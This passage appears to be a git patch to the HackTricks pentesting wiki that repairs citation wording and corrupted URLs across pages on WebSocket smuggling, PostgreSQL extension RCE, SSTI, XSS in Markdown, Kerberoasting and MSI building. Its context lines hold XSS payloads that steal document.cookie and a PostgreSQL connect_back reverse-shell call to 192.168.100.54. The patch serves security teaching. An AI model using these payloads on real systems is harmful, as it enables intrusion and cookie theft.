- Traefik @@ -60,7 +60,7 @@ In this scenario, a backend that offers a public WebSocket API alongside an inac 2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client. 3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection. -The d research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) +The cited research reproduced this scenario with Varnish and Envoy 1.8.0; later Envoy versions changed the upgrade mechanism. Test other proxies rather than assuming that they share the same behavior.[[3]](#references) ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index f087f6962a8..17fb9ce6088 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -357,6 +357,6 @@ print(" drop function connect_back(text, integer);") - [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) - [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) - [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) -- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) +- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index b88fc1a96e5..302de220ccc 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md index dceebba63f5..674dc67ba57 100644 --- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md +++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md @@ -4,7 +4,7 @@ ## Leak Script Content by Interpreting It as UTF-16 -If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the d challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) +If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the cited challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) ## Leak Content by Treating It as an ICO Image diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index f81ef7e781e..85462cda94a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -116,7 +116,7 @@ Fuzzing examples from [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ -[lol]: (javascript:prompt(document.cookie)) +[citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 1b1b54fbb40..3cd1809ad7e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -27,7 +27,7 @@ Many services still run under user accounts with hand-managed passwords. The KDC | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. | | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. | -*Benchmarks from Chick3nman as d in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) +*Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.[[3]](#references) diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index a1e16221e46..f3eea43e465 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the d scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) +This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.[[2]](#references) From 767c52a57e12ac02512dc6c3be75f706307adf8f Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:38:06 +0200 Subject: [PATCH 3/3] Restore URLs corrupted by citation cleanup --- .../postgresql-injection/rce-with-postgresql-extensions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 17fb9ce6088..3a241e0a5b7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -309,8 +309,8 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ -In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ +For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ +In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given:[[5]](#references) ```python